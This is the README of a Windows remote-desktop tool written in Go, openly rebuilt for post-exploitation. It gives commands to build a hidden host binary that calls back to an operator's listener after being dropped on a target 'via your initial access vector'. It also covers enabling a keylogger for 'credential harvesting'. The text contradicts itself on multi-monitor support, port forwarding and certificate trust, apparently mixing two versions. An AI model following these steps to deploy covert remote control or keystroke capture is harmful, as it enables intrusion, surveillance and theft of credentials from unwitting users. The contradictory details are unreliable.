# lanrdp (Post-Exploitation Build) A lightweight remote-desktop tool optimized for post-exploitation use. Designed for the scenario where you deploy a host binary to a target machine that connects back to your listener — no port forwarding, no LAN requirement, works over the internet. Auto-trusts certificates and accepts connections from any source IP. This is **not** a VNC/RDP-compatible tool. The host and client speak a small custom protocol (see `internal/protocol`) designed to be fully readable in one sitting. ## How it works - `cmd/host` runs on the machine you want to control. It captures the screen (GDI `BitBlt`) and injects mouse/keyboard input it receives (`SendInput`). It normally listens on a TCP port, but can instead dial out to a waiting client (see "Controlling a roaming device" below). Capture spans **every monitor** as one combined image — a host with two 1920x1080 displays side by side shows up as one 3840x1080 picture in the viewer, and mouse input maps back across all of them correctly (`MOUSEEVENTF_VIRTUALDESK`), not just the primary display. - `cmd/client` runs on the machine you're controlling *from*. It opens a plain Win32 window, renders incoming frames, and forwards your mouse/keyboard input to the host. It normally dials the host, but can instead wait for the host to call back in. - Everything is one Go module, cross-compiled with no cgo — `go build` for each command produces a single portable `.exe` you can run from a USB stick. ## Security model - **Transport**: TLS 1.3 only. The host generates its own self-signed certificate on first run (`internal/tlsutil`) — there is no CA. - **Trust**: the client keeps a trust-on-first-use record of every host certificate it's approved (`internal/tlsutil`, `known_hosts.json`) — the same model as SSH's `known_hosts`, and, since it's keyed by the certificate's fingerprint rather than by address, the same trust store works across several different devices (see "Multiple devices" below). A never-before-seen fingerprint always requires typing a name for it before the client will proceed. **Verify the fingerprint printed by the host matches what the client shows you** before doing that — that out-of-band check is what defeats a man-in-the-middle on first connect. One trade-off worth knowing: because trust isn't tied to an address anymore, the client no longer warns you if a *specific address* you've connected to before suddenly presents a different, still-unrecognized certificate — it's treated the same as any other first-time device. Recognizing an *already-trusted* fingerprint is unaffected by this. - **Auth**: password-based, over the already-TLS-encrypted channel. The host never stores the plaintext passphrase — only an Argon2id hash (`internal/protocol/auth.go`). Failed logins are throttled per source IP with exponential backoff (`internal/netguard`). - **No UPnP/NAT-PMP, ever.** Neither binary ever asks a router to forward anything, in either connection direction. Whichever side listens (the host normally, or the client in callback mode) rejects any incoming connection whose source address isn't a private LAN, loopback, or VPN-overlay address by default (see `internal/netguard` and the WireGuard section below), so even an accidental port-forward won't expose it to the raw internet. That filter is necessarily disabled in `-allow-internet` and callback (`-listen`) mode, since both exist specifically to accept a connection from an address that can't be predicted in advance — passphrase + certificate pinning carry the full weight of authentication in those modes. - **Single session at a time**: whichever side is listening only accepts one active connection; anything past that is refused outright. ### What this does *not* protect against - A compromised host or client machine — this tool doesn't sandbox anything; whoever controls the client can do anything a local user could. - Anyone who already has your passphrase. Treat it like any other credential; a password manager-generated 20+ character passphrase is recommended since it's typed at most once per client per host (after trust is pinned you only re-enter it per connection, not per pinning). - Multi-monitor is not handled (primary display only). DPI scaling *is* handled — both binaries declare per-monitor DPI awareness (`internal/dpi`) specifically so mouse input stays aligned with the picture even when the host and client are on displays with different resolutions or scale factors. ## Quick Start (Post-Exploitation) The typical workflow: build a self-contained host binary with an embedded password and callback address, deploy it to the target, and wait for it to connect back. **1. Build the host binary:** ```powershell # Interactive: prompts for password and callback address .\build-host.ps1 -Hidden # Or specify directly: .\build-host.ps1 -Password "mypassword" -ConnectAddr "your-public-ip:47812" -Hidden ``` This produces a single `host.exe` with no dependencies — copy it to the target. **2. Deploy and run on target:** ```powershell # On the target machine, just run: .\host.exe ``` The host automatically dials out to your listener. If it can't connect, it retries every 10 seconds (configurable with `-retry-interval`). **3. Start your listener:** ```powershell # On your machine, wait for the target to connect back: .\client.exe -listen 0.0.0.0:47812 ``` When the target connects, you'll be prompted for the passphrase (the one you embedded in the host binary). Enter it and you have control. **With keylogger:** ```powershell # Build normally, then run with -keylog on the target: .\build-host.ps1 -Password "mypassword" -ConnectAddr "your-ip:47812" -Hidden ``` On the target machine, run `host.exe -keylog` to enable keyboard capture. The client will show a second popup window streaming captured keystrokes alongside the main remote desktop view, and write them to a timestamped log file. See [Keylogger](#keylogger) for details. ## Keylogger The host can capture all keyboard input on the target machine and stream it to the client in real-time. This is useful for post-exploitation credential harvesting, monitoring user activity, or forensic analysis. ### Enabling Keylogging Pass the `-keylog` flag when running the host binary: ```powershell .\host.exe -keylog ``` For a reverse-connect host with embedded credentials, build normally and pass the flag at runtime on the target machine: ```bash # On your build machine (Linux or Windows): GOOS=windows GOARCH=amd64 go build -ldflags "-X main.embeddedPasswordHash= -X main.embeddedConnectAddr=your-ip:47812" -o lanrdp_host.exe ./cmd/host # On the target machine: .\lanrdp_host.exe -keylog ``` ### Client-Side Output When keylogging is enabled, the client automatically: 1. **Opens a second popup window** titled "lanrdp — Keylogger" that displays captured keystrokes in real-time (last 100 lines shown) 2. **Writes to a timestamped log file** named `lanrdp_keylog_YYYY-MM-DD_HH-MM-SS.txt` in the same directory as the client executable Each logged entry includes: - Timestamp of the key event - Virtual key code and scan code - Key state (down/up) - Active window title at time of capture ### Example Log Entry ``` [2026-11-22 14:30:45.123] VK=0x41 SC=0x1E Flags=0 Window="Notepad" (A key pressed) ``` ### Post-Exploitation Workflow For post-exploitation scenarios where the target machine runs `host.exe` and connects back to your listener: 1. **Build the host** with embedded password and reverse-connect address: ```bash # On your build machine (Linux or Windows): go run ./cmd/hashpw <<< "mypassword" GOOS=windows GOARCH=amd64 go build -ldflags "-X main.embeddedPasswordHash= -X main.embeddedConnectAddr=your-public-ip:47812" -o lanrdp_host.exe ./cmd/host ``` 2. **Deploy `host.exe`** to the target machine (via your initial access vector) 3. **Start the client listener** on your machine: ```bash ./client -listen 0.0.0.0:47812 ``` The client will prompt for the passphrase interactively. > **Internet access requires an open port:** If connecting over the internet (not LAN), you must forward port `47812` on your router to the machine running the listener. Use a dynamic DNS service or static IP if your public IP changes. 4. **Run with keylogging if desired:** ```powershell .\lanrdp_host.exe -keylog ``` The `-keylog` flag enables global keyboard capture on the target. 5. **Target connects back automatically** — no firewall rules needed on the target side, and it works across different networks (LAN or internet) 6. **Certificate trust is automatic** — the host embeds its certificate fingerprint at build time; the client auto-trusts it without interactive prompts 7. **Reconnection is built-in** — if the connection drops, `host.exe` automatically retries every 10 seconds (configurable with `-retry-interval`) > **Note:** A `-password` flag for non-interactive client authentication is planned but not yet implemented. Currently the client always prompts for the passphrase interactively. ## Building **Platform note:** Both `client.exe` and `host.exe` only run on Windows. They use Win32 APIs for screen capture (`BitBlt`), input injection (`SendInput`), and window management. However, you can compile them from Linux using Go's built-in cross-compilation support — no Windows machine or toolchain required. Requires Go 1.21+ (uses the builtin `min`/`max`). No cgo, no extra system dependencies. ```powershell go build -o client.exe ./cmd/client ``` ### Cross-Compiling from Linux To build Windows executables on a Linux machine: ```bash # Install Go on Debian/Ubuntu if needed: sudo apt update && sudo apt install golang-go # Verify installation: go version # should show go1.21 or newer # Build client for Windows: GOOS=windows GOARCH=amd64 go build -o lanrdp_client.exe ./cmd/client # Build host for Windows (plain, no baked-in password): GOOS=windows GOARCH=amd64 go build -o lanrdp_host.exe ./cmd/host ``` The resulting `.exe` files are fully functional Windows binaries that can be deployed to any Windows machine. For a host with an embedded password and callback address, use `build-host.ps1` on a Windows machine. To replicate this on Linux, hash the passphrase first: ```bash # Hash the passphrase (run from repo root) go run ./cmd/hashpw <<< "mypassword" # Use the output as -X main.embeddedPasswordHash in your build command ``` Then build with ldflags: ```bash GOOS=windows GOARCH=amd64 go build -ldflags "-X main.embeddedPasswordHash= -X main.embeddedConnectAddr=your-ip:47812" -o lanrdp_host.exe ./cmd/host ``` Keylogging is enabled at runtime with the `-keylog` flag on the host binary — it's not a compile-time option. Simply run `host.exe -keylog` on the target. > **Recommendation:** Compile both client and host binaries on your build > machine (Linux or Windows) before deployment. This ensures you have clean, > tested executables ready to distribute without needing to compile on the > target systems. **Plain build** — passphrase is set interactively the first time you run `host.exe`, and stored (as an Argon2id hash, never in plaintext) in `lanrdp-data\config.json` next to it: ```powershell go build -o host.exe ./cmd/host ``` **Passphrase baked in at compile time** — use `build-host.ps1` instead. It prompts for the passphrase (hidden input, twice to confirm), hashes it with Argon2id, and bakes only the hash into `host.exe` via `-ldflags`. The plaintext passphrase never touches disk. The resulting `host.exe` is fully self-contained — no `config.json`, nothing to set up on first run: ```powershell .\build-host.ps1 ``` It also asks whether you want to bake in a default callback address (see "Controlling a roaming device" below) — leave that prompt blank for a normal host, or fill it in if this `host.exe` is going to always call back to the same client (e.g. a laptop that always calls home to your desktop). Either way it's just a default: `-connect` on the command line still overrides it. Either way, copy `host.exe` to the machine you want to control and `client.exe` to the machine you'll control it from. Both are self-contained — no install step. ## Running On the **host** machine (the one being controlled): ```powershell .\host.exe ``` If you didn't pass `-listen`, it lists this machine's private-LAN network interfaces and asks you to pick which one to bind — this avoids accidentally listening on a VPN or VM bridge adapter you didn't mean to expose. Pass `-listen ` (or `-listen 0.0.0.0` for all interfaces) to skip the prompt, e.g. for running it unattended: ```powershell .\host.exe -listen 192.168.1.50 -port 47812 ``` If you built with a plain `go build`, first run also prompts you to set a passphrase. Either way, the host prints its TLS certificate fingerprint on startup — keep that window visible, you'll need it for the client's first connection. Windows Firewall will prompt to allow the port on first run; allow it for **Private** networks only, not Public. On the **client** machine (the one you're sitting at): ```powershell .\client.exe -host 192.168.1.50:47812 ``` If you leave off `-host`, it prompts for the host's IP and port interactively instead (handy since you'll type a different address when connecting locally vs. over WireGuard — see below). It'll show the host's certificate fingerprint — compare it against what the host printed, type a name for it to trust it (only needs to happen once per device), enter the passphrase, and the viewer window opens. ## Multiple devices One client can be trusted by, and connect to, as many different host devices as you want — there's no special setup for this, it falls out of the trust store being keyed by certificate fingerprint rather than by address (see Security model above). Point the same `client.exe` at several different `-host` addresses over time, or have several different `host.exe` instances all call back to the same `-listen` endpoint — either way, each device gets its own trust store entry the first time you connect to it, and you give each one a name at that point: ``` First time seeing this device (192.168.1.62:47812). Certificate fingerprint: 4f:3b:c8:... Verify this matches the fingerprint printed by the host. Enter a name for this device to trust it (e.g. "Kid's laptop"), or leave blank to abort: Kid's laptop Trusted as "Kid's laptop". ``` See everything this client currently trusts: ```powershell .\client.exe -list-known ``` ``` 2 trusted device(s): Desktop fingerprint: dd:ee:ff:... first seen: 2026-08-05 12:00:00 last seen: 2026-08-14 08:30:00 Kid's laptop fingerprint: 4f:3b:c8:... first seen: 2026-08-01 10:00:00 last seen: 2026-08-14 09:00:00 ``` Each device can (and should) have its own independent passphrase — every `host.exe` you build with `build-host.ps1` gets its own baked-in hash, so there's no shared secret across devices to worry about rotating together. To stop trusting a device, remove its entry from `lanrdp-data\known_hosts.json` (a plain JSON file, safe to hand-edit). ## Remote access over WireGuard You don't need to change how lanrdp works to reach it over WireGuard — you're not exposing lanrdp to the internet at all, you're reaching your home network through an already-encrypted, already-authenticated tunnel, and lanrdp just needs to listen on the interface WireGuard creates. 1. Set up WireGuard on the host as you normally would, so it gets a tunnel IP (commonly something like `10.x.x.x`). 2. Run `.\host.exe` and, at the interface prompt, pick the WireGuard adapter's address instead of your regular Ethernet/Wi-Fi one (or bind `0.0.0.0` to accept either — the source-IP check still applies either way). If you want a fixed, non-interactive setup: ```powershell .\host.exe -listen 10.x.x.x -port 47812 ``` 3. From wherever you are, bring your WireGuard tunnel up first, then run `.\client.exe` and give it the host's WireGuard IP and port when prompted (or via `-host 10.x.x.x:47812`). Most `wg-quick`-style default subnets (e.g. `10.8.0.0/24`) already fall within the private ranges the host accepts by default, so this typically needs no extra flags. If your WireGuard config uses an address range outside the standard private/CGNAT ranges (`10/8`, `172.16/12`, `192.168/16`, `100.64/10`), tell the host to trust it explicitly: ```powershell .\host.exe -trust-cidr 10.99.99.0/24 ``` `-trust-cidr` accepts a comma-separated list if you need more than one range. This only widens which *source addresses* the host will accept a connection from — it's the same defense-in-depth check that protects against an accidental port-forward, not a replacement for WireGuard's own encryption, which is what's actually making this safe to use away from home. ### Testing raw connectivity without WireGuard If WireGuard isn't connecting and you want to check whether the problem is WireGuard itself or something more basic (router port-forward, Windows Firewall, ISP-level blocking), you can temporarily test over the open internet — e.g. from a phone hotspot, which is a genuinely different network path than your home Wi-Fi: 1. On the host, temporarily forward the chosen port (default `47812`) through your router to the host's LAN IP. This is a manual step you do in your router's admin page — lanrdp still never does this itself. 2. Start the host with the source-IP filter disabled: ```powershell .\host.exe -allow-internet -listen 192.168.1.50 -port 47812 ``` The startup banner will print an unmissable warning while this is on. 3. From the hotspot-connected client, connect to your home's public IP (not the LAN IP) and the forwarded port. 4. **When you're done testing**, stop `host.exe` and remove the port forward. Don't leave `-allow-internet` running unattended — with it on, the only thing standing between the internet and your desktop is the passphrase, so use a long one if you do this. If this works but WireGuard doesn't, the issue is in the WireGuard setup (tunnel not up, wrong subnet, `-trust-cidr` needed) rather than in lanrdp or your router/firewall. ## Callback mode (primary use case) The standard post-exploitation workflow uses callback mode: the target machine dials out to your listener instead of you connecting to it. This works regardless of NAT, firewalls, or whether the target is on a LAN or the open internet — outbound connections always work through NAT without configuration. The fix is to flip which side initiates the TCP connection, independent of which side is being controlled. Outbound connections work through NAT without any configuration, so the laptop can always reach *out* to the desktop; the desktop just needs to be the one with a real port-forward. - `host.exe -connect :` — instead of listening, the host dials out to a waiting client, retrying every `-retry-interval` seconds (flat interval, default `10`, no backoff) if it can't connect. Everything past that (which side holds the certificate, who verifies whom, the passphrase check) works exactly as normal — only the direction of the initial TCP connection changes. - `client.exe -listen :` — instead of dialing out, the client waits for one incoming connection from the host. Concrete setup for "control my laptop from my desktop, wherever the laptop happens to be": **On the desktop** (stable, at home — forward this port on your router to the desktop's LAN IP, the same way you would have for the host before): ```powershell .\client.exe -listen 0.0.0.0:47812 ``` **On the laptop** (wherever it is): ```powershell .\host.exe -connect :47812 ``` If this laptop is always going to call back to the same desktop, it's worth baking that address into `host.exe` at build time instead of typing it every launch — `build-host.ps1` prompts for it alongside the passphrase (see Building above). That also makes the VBScript/`-Hidden` unattended-launch setups simpler, since there's no argument to embed in the launcher — just running `host.exe` is enough. A few things that differ from the normal direction: - The desktop is now the side accepting a connection from an unpredictable address, so it doesn't apply the LAN/VPN source filter at all in `-listen` mode — it can't, since the laptop's address is exactly the thing that keeps changing. The passphrase and certificate pinning are what protect you here, not source IP. **Read the fingerprint carefully on first connect** — that check is doing more work in this mode than usual, since trust-on-first-use has no IP-based sanity check to fall back on. - The trust-store entry for a callback host is keyed by the `-listen` address you used, not by the laptop's (constantly changing) IP — so reconnecting from a different network still matches the same pinned fingerprint. - If you get WireGuard working later, you can combine it with this same `-connect`/`-listen` mechanism instead of exposing the desktop's port to the raw internet: point `-connect` at the desktop's WireGuard IP instead of its public IP, and keep `PersistentKeepalive` set on the laptop's WireGuard peer config so the tunnel survives it roaming. That gets you the reachability benefit of callback mode without opening anything on the desktop's router at all. ## Performance tuning Two host flags control the latency/bandwidth tradeoff, in addition to Nagle's algorithm being disabled on every connection by default (small messages like mouse moves and frame chunks go out immediately instead of waiting to coalesce with more data — internal/netutil): - `-fps ` (default `12`) — target screen-capture rate for normal use. Higher pushes toward a smoother, lower-latency feel at the cost of more CPU spent encoding and more bandwidth used; lower is friendlier to a constrained connection (a cellular hotspot, for instance). - `-stream-fps ` (default `30`) — the capture rate used only while stream mode is toggled on (see below). Bandwidth use scales roughly with this, so raise it further if your connection can take it, or lower it if 30fps is using more bandwidth than you'd like. - `-keyframe-interval ` (default `30`) — how often a full frame is sent regardless of what changed, versus only sending dirty-rect updates. Shorter recovers faster from any drift, at the cost of periodic bandwidth spikes. ```powershell .\host.exe -fps 12 -stream-fps 30 -keyframe-interval 10 -connect desktop:47812 ``` There's no real video codec here (see Limitations below), so pushing fps very high mostly helps when the screen is mostly static and updates are small — it won't turn this into a good tool for watching full-motion video remotely. ### Toggling stream mode live: Ctrl+Alt+S Press **Ctrl+Alt+S** in the viewer window to switch the host between its normal `-fps` and the faster `-stream-fps` on the fly, no reconnect needed — press it again to switch back. Two things make it obvious which mode you're in: the window title shows `[STREAM MODE]`, and a thick orange border is drawn around the video itself (easier to notice than the title, especially if the window is maximized). **Stream mode also disables your mouse and keyboard control of the host** — it's meant for watching what the host is doing (their own mouse, their own actions) without you interfering, not for remote control. Screen updates keep flowing normally either way; only outgoing input is suppressed while it's on. The host's own mouse cursor is visible in the captured video — GDI's `BitBlt` doesn't include the hardware cursor by default (it's a separate compositor overlay on modern Windows), so `internal/capture` explicitly draws it onto every captured frame via `GetCursorInfo`/`DrawIconEx`. This applies in both normal and stream mode, not just stream mode — it's just most noticeable in stream mode, since that's when you're watching rather than driving. Under the hood the mode toggle sends a small control message (`MsgSetPerfMode`) over the same connection; the host resets its capture ticker to the new rate immediately (`cmd/host/session.go`). This only changes capture cadence — `-keyframe-interval` stays fixed for the session, and there's no separate "stream mode keyframe interval" setting. ### File transfer Drag and drop a file onto the viewer window to send it to the host, over the same encrypted connection — no separate port or protocol. It's saved to `Desktop\lanrdp-received\` on the host, under its original filename (auto-renamed with a `(1)`, `(2)`, ... suffix if that name already exists there, rather than overwriting anything). Drop multiple files at once and they're sent one after another, not in parallel. **Only available in normal mode, not stream mode** — dropping a file while stream mode is on is silently ignored. This is enforced on both ends: the client won't even attempt to send, and the host independently rejects any transfer offer it receives while it believes the session is in stream mode, so a modified client can't bypass the restriction. A couple of things worth knowing: - The host only ever writes into `Desktop\lanrdp-received\` — the filename you drop is stripped down to just its base name before being used (`filepath.Base`), so there's no way for a transfer to write somewhere else on the host's filesystem. - There's no progress bar — check the client's console (or its log file, if you're running a headless build) for confirmation once a transfer finishes; the host reports success or failure back over the connection. - Folders aren't supported — drop individual files. ## Running headless (no console window) `build-host.ps1 -Hidden` builds `host.exe` with the Windows GUI subsystem instead of the console subsystem, so Windows never allocates a console for it at all — no window ever flashes, whether you launch it by double-click, from Task Scheduler, or from a Startup-folder shortcut. This replaces the VBScript-wrapper trick with something built into the binary itself. ```powershell .\build-host.ps1 -Hidden ``` Since there's no console to print to, all the status output that would normally show on screen (startup banner, fingerprint, connection/session logs) is instead appended to `lanrdp-data\host.log` next to the executable — check there if something isn't behaving as expected. This detection is automatic and based on whether a console is actually attached (`GetConsoleWindow`), so it also correctly does nothing on a normal build run from a terminal. `-Hidden` only makes sense combined with an embedded passphrase (which `build-host.ps1` always provides) — a headless build has no console for interactive first-run passphrase setup to use, and the binary will refuse to start rather than hang waiting for input that can never arrive. ## Data storage Both executables create a `lanrdp-data` folder next to themselves: - Host: `host.crt` / `host.key` (the TLS keypair, always) and, only if you built with plain `go build` rather than `build-host.ps1`, `config.json` (the Argon2id password hash). The certificate is kept even in the baked-in-passphrase build, since it has to stay stable across runs for the client's trust-on-first-use pinning to keep working. - Client: `known_hosts.json` (pinned fingerprints, keyed by `host:port`). Delete the relevant file to reset (e.g. remove a host's entry from `known_hosts.json` if you legitimately reinstalled it and its fingerprint changed; rebuild with `build-host.ps1` to change a baked-in passphrase, since there's no `config.json` to edit in that build). ## Limitations / possible follow-ups - No clipboard sync yet. - `Alt`-based key combinations (`WM_SYSKEYDOWN`) aren't forwarded, so you can't send e.g. Alt+Tab to the host — this was left to the OS locally on purpose so you can always alt-tab out of the viewer window. - Frame encoding is a simple dirty-rectangle PNG diff, not a real video codec — fine for LAN control of mostly-static desktops, not great for full-screen video playback on the remote end. - No "release all keys on disconnect" safety net — if the connection drops while a key is physically held down in the viewer, there's currently no cleanup that sends a matching key-up to the host, so a stuck modifier key (Shift, Ctrl, Alt) is possible in that scenario.